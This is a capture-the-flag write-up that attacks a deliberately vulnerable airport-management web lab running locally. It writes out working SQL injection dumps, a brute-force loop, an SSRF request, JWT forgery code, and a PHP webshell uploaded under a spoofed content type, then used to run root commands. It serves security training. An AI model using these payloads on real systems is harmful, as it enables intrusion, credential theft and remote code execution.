HiveAir CTF — Full Walkthrough

HiveAir CTF — Walkthrough

Flags Vulns Category

Full walkthrough of the HiveAir International Airport CTF — a deliberately vulnerable Node/Express web application built by Hive Consult (Ghana) as part of a public bug-bounty practice series.

The lab simulates an airport management system with 10 vulnerabilities ranging from easy to "god mode." This writeup captures all 7 flags and demonstrates a complete attack chain from anonymous reconnaissance to remote code execution as the admin user.

Disclosure note: This lab was made publicly available by the author for practice and bug-bounty learning. All exploitation was performed against a local Docker instance.


Table of contents

  1. Setup
  2. Attack flow at a glance
  3. Phase 1 — Reconnaissance
  4. Phase 2 — Authenticated foothold
  5. Phase 3 — V1: No rate limiting
  6. Phase 4 — V2: SQL injection
  7. Phase 5 — V3: IDOR
  8. Phase 6 — V6: Broken access control
  9. Phase 7 — V8: SSRF
  10. Phase 8 — V9: Business logic flaw
  11. Phase 9 — V5: JWT forgery
  12. Phase 10 — V7 + V10: File upload to RCE
  13. Flags captured
  14. Findings summary
  15. Lessons
  16. Credits

Setup

unzip hiveair-ctf.zip && cd hiveair-ctf
docker compose up -d
curl -I http://localhost:8090/   # should 302 → /login.html

Workspace:

mkdir -p ~/hiveair-pwn && cd ~/hiveair-pwn
export BASE=http://localhost:8090
touch flags.txt notes.md

Tools used: curl, jq, node (for jsonwebtoken), Firefox + DevTools. Nothing else.


Attack flow at a glance

Recon (robots.txt, backup config)
    │
    └─► JWT_SECRET=hiveair leaked publicly
            │
Register passenger → V1 brute-force flag
            │
SQLi in flight search → full user dump (passwords + roles)
            │
IDOR → other passengers' PII + V3 flag
            │
Broken access ctl → security watchlist + V6 flag
            │
SSRF → internal /api/internal/config + V8 flag
            │
Business logic → book a departed flight for $0 + V9 flag
            │
Forge admin JWT (HS256 + leaked secret) + V5 flag
            │
Upload PHP shell as image/jpeg → RCE as root → V10 chain flag

Six of the seven flags fall to a passenger session. The seventh requires the forged admin token.

Login page The target: HiveAir International Airport management system.


Phase 1 — Reconnaissance

The first move is mapping the attack surface without touching auth.

1.1 Identify the server

curl -I http://localhost:8090/
# HTTP/1.1 302 Found
# X-Powered-By: Express
# Location: /login.html

X-Powered-By: Express confirms Node.js. That points to JWTs for auth, .env files for config, and /api/... routing — patterns to look for later.

1.2 robots.txt — the treasure map

curl http://localhost:8090/robots.txt
Disallow: /admin.html
Disallow: /api/admin/
Disallow: /api/internal/
Disallow: /api/security/
Disallow: /uploads/
Disallow: /backup/
Disallow: /backup/hiveair_config.env

# Admin panel: /admin.html
# Internal API: /api/internal/config
# Backup config: /backup/hiveair_config.env

robots.txt enumeration Disallow directives reveal every "hidden" path: admin panel, internal API, security namespace, uploads, backup.

robots.txt is not a security control. It's a developer-curated list of sensitive paths, published in plaintext for any attacker who knows it exists. Every Disallow: line above is now a target.

Recon — robots.txt + initial setup Container running, robots.txt enumerating the sensitive paths.

1.3 Fetch the leaked backup

curl http://localhost:8090/backup/hiveair_config.env
JWT_SECRET=hiveair
ADMIN_EMAIL=admin@hiveconsult.com
ADMIN_PASSWORD=admin123
STAFF_EMAIL=staff@hiveair.com
STAFF_PASSWORD=Staff@2024!
SECURITY_EMAIL=security@hiveair.com
SECURITY_PASSWORD=Sec@2024!

The admin password is bad (admin123), but it's rotatable. The JWT_SECRET is the real prize — with it, I can mint a valid token for any user, any role, at any time, without ever knowing a password. The dev would have to change the secret in source code and redeploy to lock me out.

Backup config leak The big leak: JWT_SECRET, admin credentials, staff credentials, and database path.

Severity: Critical. Plain .env file served from a public directory.


Phase 2 — Authenticated foothold

Register a passenger account and inspect what the server hands back.

curl -i -c cookies.txt -X POST http://localhost:8090/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"hunter@test.com","password":"hunter123"}'
Set-Cookie: ha_token=eyJ...; Path=/

Just Path=/. No HttpOnly, no Secure, no SameSite. Any JavaScript on the page can read this cookie via document.cookie. That means if I find a stored-XSS sink elsewhere in the app, I can steal another user's session token. File that for later.

Decoded JWT payload:

{
  "alg": "HS256"  // header
}
{
  "userId": 9,
  "uuid": "eb069364-...",
  "email": "hunter@test.com",
  "name": "Hunter",
  "role": "passenger"  //  the field that will matter most
}

HS256 (symmetric signing) + a leaked secret = total auth compromise. I just don't use it yet.

Passenger dashboard Logged in as Hunter (registered passenger). Baseline established.


Phase 3 — V1: No rate limiting

Test

for i in $(seq 1 20); do
  curl -s -o /dev/null -w "%{http_code} " -X POST $BASE/api/auth/login \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"passenger@hiveair.com\",\"password\":\"wrong$i\"}"
done

All 20 attempts returned 401 at 10–12ms each. No throttling, no lockout. Confirming with a wordlist:

cat > wordlist.txt <<'EOF'
password
admin
123456
Pass@2024!
EOF

while read -r pw; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST $BASE/api/auth/login \
    -H 'Content-Type: application/json' \
    -d "{\"email\":\"passenger@hiveair.com\",\"password\":\"$pw\"}")
  echo "  $pw → HTTP $code"
  [ "$code" = "200" ] && echo "FOUND: $pw" && break
done < wordlist.txt

Hit on attempt 4. In a real engagement: rockyou.txt + hydra + parallel connections = compromise of any weak password in seconds.

curl -s -H "Authorization: Bearer $TOKEN" $BASE/api/internal/bruteforce-flag

🚩 FLAG{n0_r4t3_l1m1t_br3ach3d_br4v0}

V1 brute-force 20 failed attempts with no throttling, wordlist hit on attempt 4, flag captured.


Phase 4 — V2: SQL injection

The /api/internal/sqlmap-hint endpoint already names the vulnerable endpoint, but the discovery path is worth running anyway.

Confirm injection (error-based)

curl -s "$BASE/api/flights/search?q=%27"
# {"error":"SQLITE_ERROR: unrecognized token: \"'\"","query":"'"}

The error message confirms three things at once: it's SQLite, the input is concatenated directly into the query, and the server echoes the input back in the error response.

Boolean SQLi

First attempt with ' OR '1'='1 returned 0 results — the trailing %' from the original LIKE '%${q}%' glued onto the 1, making the comparison '1'='1%' (false). The fix: terminate the trailing SQL with --:

curl -sG "$BASE/api/flights/search" \
  --data-urlencode "q=zzzz' OR '1'='1' --" | jq '.flights | length'
# 8 (all flights returned for a nonsense search term)

UNION dump — exfiltrate users

The flights table has 13 columns. UNION SELECT must match.

curl -sG "$BASE/api/flights/search" \
  --data-urlencode "q=x' UNION SELECT id,email,password,name,role,passport,nationality,1,1,1,1,1,1 FROM users--" \
  | jq '.flights'

Result: every user, every plaintext password, every role — including admin and ops credentials not present in the backup file.

id email password role
1 admin@hiveconsult.com admin123 admin
2 ops@hiveair.com OpsHive@24 admin
3 staff@hiveair.com Staff@2024! staff
4 security@hiveair.com Sec@2024! security
5 passenger@hiveair.com Pass@2024! passenger
6 alice@globalair.io Alice#2024 passenger
7 bob@travelplus.com Bob$Travel9 passenger
8 charlie@nexusfly.net Charlie!99 passenger

V2 SQLi dump UNION-based SQLi dumping the entire users table through a public, unauthenticated search endpoint.

No flag awarded for V2 — the data dump is the prize. Pre-auth full database disclosure with plaintext passwords. Critical severity.


Phase 5 — V3: IDOR

/api/bookings/:id requires authentication but does not check ownership.

for i in 1 2 3 4 5; do
  curl -s -H "Authorization: Bearer $TOKEN" $BASE/api/bookings/$i \
    | jq '{passenger_name: .booking.passenger_name, passport: .booking.passport_number, hive_flag}'
done
Booking Belongs to Result
1 Alice Mercer Name, email, passport UK789456 leaked + flag
2 Bob Osei Name, email, passport GHA98765 leaked + flag
3 Charlie Mensah Name, email, passport US123789 leaked + flag
4 Me (Kofi) My own data — hive_flag: null
5 (no booking) All nulls

🚩 FLAG{1d0r_b00k1ng_p4ss3ng3r_d4t4_l34k3d}

V3 IDOR Three other passengers' full PII (names, emails, passport numbers, UUIDs) exposed by incrementing an integer.

The server-side code actually detects the IDOR (it sets the flag specifically when req.user.userId !== booking.user_id) but still serves the data. Detection without prevention.


Phase 6 — V6: Broken access control

/api/security/flags uses requireAuth instead of requireRole('security','admin'). Any logged-in passenger can read the airline's internal security watchlist.

curl -s -H "Authorization: Bearer $TOKEN" $BASE/api/security/flags | jq

Returns Charlie Mensah's "Passport document mismatch" flag — internal screening notes that should never reach a passenger. Includes severity level (medium), the flagging officer's ID, timestamp, and the flagged passenger's passport number.

🚩 FLAG{br0k3n_4cc3ss_c0ntr0l_s3cur1ty_d4t4}

V6 broken access control Passenger token reading the security team's flagged-passenger watchlist.

The POST /api/security/flag endpoint (write) is correctly protected with requireRole. Only the read endpoint was forgotten — classic copy-paste mistake.


Phase 7 — V8: SSRF

POST /api/flights/status-check fetches any user-supplied URL server-side with no validation.

curl -s -X POST $BASE/api/flights/status-check \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://localhost:3000/api/internal/config"}'

Port 3000 is the container's internal port — invisible from my host machine but the server's loopback. The response body contains:

{
  "version": "2.1.0",
  "jwt_secret": "hiveair",
  "admin_email": "admin@hiveconsult.com",
  "ssrf_flag": "FLAG{ssrf_1nt3rn4l_c0nf1g_3xp0s3d}"
}

🚩 FLAG{ssrf_1nt3rn4l_c0nf1g_3xp0s3d}

V8 SSRF SSRF pivoting through the server's network identity to reach an internal-only endpoint.

Bonus probe: trying /api/internal/bruteforce-flag through the SSRF returned 401 Authentication required. The server-side fetch doesn't forward the original request's Authorization header. Useful boundary to know.

In production: this would be the gateway to AWS metadata (169.254.169.254), internal databases, or service-mesh endpoints. Capital One 2019 was this exact bug class.


Phase 8 — V9: Business logic flaw

Two design flaws in POST /api/bookings:

  1. No check on flight.status — departed flights are bookable.
  2. Client-supplied price is trusted.

Flight AF404 (id 4) has status departed and price $760.

curl -s -X POST $BASE/api/bookings \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"flight_id":4,"seat":"99X","class":"first","price":0}'
{
  "success": true,
  "booking": { "pnr": "HIVE6NCWLT", "flight_number": "AF404", "class": "first", "price": 760 },
  "hive_flag": "FLAG{bus1n3ss_l0g1c_byp4ss_fl1ght_b00k3d}"
}

🚩 FLAG{bus1n3ss_l0g1c_byp4ss_fl1ght_b00k3d}

V9 business logic Booking a flight that left yesterday, in first class.

Subtle: I sent price: 0 but the server stored price: 760. The relevant code is const finalPrice = parseFloat(price) || flight.price; — in JavaScript, 0 || x evaluates to x because 0 is falsy. A real attacker would send price: 0.01 to actually exploit the pricing bug. The departed-flight check fired the flag either way.

The fix is one character: ?? instead of ||.


Phase 9 — V5: JWT forgery

With JWT_SECRET=hiveair known, I can mint any token.

# Pull admin's UUID via SQLi
ADMIN_UUID=$(curl -sG "$BASE/api/flights/search" \
  --data-urlencode "q=x' UNION SELECT id,uuid,email,name,role,1,1,1,1,1,1,1,1 FROM users WHERE id=1--" \
  | jq -r '.flights[0].flight_number')

# Forge the token
ADMIN_TOKEN=$(node -e "
const jwt = require('jsonwebtoken');
console.log(jwt.sign({
  userId: 1,
  uuid: '$ADMIN_UUID',
  email: 'admin@hiveconsult.com',
  name: 'HIVE Admin',
  role: 'admin'
}, 'hiveair', { expiresIn: '24h' }));
")

Decoded payload of the forged token:

{"userId":1,"uuid":"83115dab-...","email":"admin@hiveconsult.com","role":"admin"}

Use it:

curl -s -H "Authorization: Bearer $ADMIN_TOKEN" $BASE/api/admin/stats
{
  "users": 9, "bookings": 5, "flights": 8, "revenue": "4540.00",
  "hive_flag": "FLAG{jwt_f0rg3d_w34k_s3cr3t_4dm1n_pwn3d}",
  "note": "JWT secret \"hiveair\" was weak enough to forge."
}

🚩 FLAG{jwt_f0rg3d_w34k_s3cr3t_4dm1n_pwn3d}

V5 JWT forge Forged token decoded next to the admin stats response — server accepts the impersonation.

Confirming the server's view of me:

curl -s -H "Authorization: Bearer $ADMIN_TOKEN" $BASE/api/auth/me | jq .user
{
  "id": 1, "email": "admin@hiveconsult.com", "name": "HIVE Admin",
  "role": "admin", "passport": "ADMIN001"
}

I never sent a password. The server pulled the real admin record from the database because my forged token claimed userId: 1.

Server confirms my forged identity /api/auth/me returns HIVE Admin's full record. The server resolved my forged userId: 1 claim against the real database row — confirming the impersonation is complete.

Admin dashboard access Full admin panel: user management, bookings, flights, revenue — all accessible via the forged token.

Admin dashboard with V5 flag The Airport Control Dashboard displays the V5 flag directly in the UI when accessed with the forged JWT. The page renders identically whether the visitor logged in with the leaked password or minted a token offline. The server has no way to distinguish them.


Phase 10 — V7 + V10: File upload to RCE

Two layered bugs:

  1. V7: multer validates only the Content-Type header on uploads. The actual file extension and contents are not checked.
  2. V10 (chain enabler): The static /uploads/:filename route executes any .php file via execSync('php ${file}').

Step 1 — Write the webshell

<?php
echo "=== WEBSHELL ACTIVE ===\n";
system($_GET['c']);
?>

Webshell prepared Webshell crafted. First upload attempt failed with Authentication required — a reminder that bash variables vanish across shell sessions. After re-establishing $ADMIN_TOKEN, the upload succeeded.

Step 2 — Upload as image/jpeg

curl -s -X POST $BASE/api/upload/document \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -F "document=@shell.php;type=image/jpeg" \
  -F "doc_type=passport"
{ "success": true, "url": "/uploads/1779324540902_shell.php" }

The MIME type is what curl announces. The actual file is PHP source. The server believes the header.

Step 3 — Execute commands

curl "$BASE/uploads/1779324540902_shell.php?c=whoami"
# root

curl "$BASE/uploads/1779324540902_shell.php?c=id"
# uid=0(root) gid=0(root)

curl "$BASE/uploads/1779324540902_shell.php?c=cat%20/app/server.js" | head -50
# (full app source code)

V7 + V10 RCE Webshell active. whoami → root. Full filesystem access. Server source readable.

Step 4 — Claim the chain flag

curl -s -H "Authorization: Bearer $ADMIN_TOKEN" $BASE/api/internal/chain-flag
{
  "hive_flag": "FLAG{ch41n3d_1d0r_jwt_rce_4irp0rt_0wn3d}",
  "note": "Full chain complete: IDOR → passenger UUID exposed → JWT forged → Admin access → Webshell uploaded → RCE"
}

🚩 FLAG{ch41n3d_1d0r_jwt_rce_4irp0rt_0wn3d}


Flags captured

# Vulnerability Flag
1 V1 — No rate limiting FLAG{n0_r4t3_l1m1t_br3ach3d_br4v0}
2 V3 — IDOR FLAG{1d0r_b00k1ng_p4ss3ng3r_d4t4_l34k3d}
3 V6 — Broken access control FLAG{br0k3n_4cc3ss_c0ntr0l_s3cur1ty_d4t4}
4 V8 — SSRF FLAG{ssrf_1nt3rn4l_c0nf1g_3xp0s3d}
5 V9 — Business logic FLAG{bus1n3ss_l0g1c_byp4ss_fl1ght_b00k3d}
6 V5 — JWT forgery FLAG{jwt_f0rg3d_w34k_s3cr3t_4dm1n_pwn3d}
7 V10 — Chain RCE FLAG{ch41n3d_1d0r_jwt_rce_4irp0rt_0wn3d}

Findings summary

Vuln Class Severity Auth needed Flag?
V1 No rate limiting on login High None
V2 SQL injection (UNION) Critical None
V3 IDOR on /api/bookings/:id High Passenger
V4 Stored XSS in feedback High Passenger
V5 JWT forgery (HS256 + leaked secret) Critical None
V6 Broken access control on /api/security/flags High Passenger
V7 Insecure file upload (MIME-only check) Critical Any ✅ (chained)
V8 SSRF on /api/flights/status-check High Passenger
V9 Business logic — bookable departed flights, client price Medium Passenger
V10 Full chain: IDOR → JWT → upload → RCE Critical (chains above)

V2 and V4 went unflagged by the author but are still real findings worth raising in a real engagement.


Lessons

A few things this lab makes obvious:

The leak is usually the door. robots.txt plus a .env in the public folder gave away the kingdom before I touched authentication. Static directory listings, backup files, and .env artifacts are still where most real engagements start.

Symmetric JWT + a leaked secret = zero authentication. HS256 is convenient. It's also a single point of failure. Any app using HS256 should treat the secret like a private key — and probably switch to RS256 if the secret is ever stored anywhere readable.

Authorization is harder than authentication. Most flags here came from the gap between "you logged in" and "you're allowed to do that." IDOR, broken access control, and JWT forgery all live in that space. Authentication has matured. Authorization is still where developers cut corners.

MIME type is a client-controlled header. Never trust it for a security decision. Inspect the file bytes. Constrain the saved extension. Don't execute uploaded content under any circumstances.

Stacking small bugs beats single big bugs. V7 alone (upload a PHP file) is medium severity. V5 alone (forge an admin JWT) is high. Chain them and you get root on the airport's production system. Real attack chains look like this — never one bug, always five small ones in sequence.

Plaintext passwords are still in production in 2026. The SQLi dump returned passwords directly. Even bcrypt would have made the dump useless without a long offline crack. The fix is one library call.


Credits

If you're learning offensive security and want a Ghana-based, well-designed practice lab, reach out to Nana — these are some of the most thoughtfully constructed CTFs I've worked through.


Disclaimer

All exploitation in this writeup was performed against a local Docker instance of a lab explicitly published by Hive Consult for public bug-bounty practice. Do not run any of these techniques against systems you don't own or have explicit permission to test.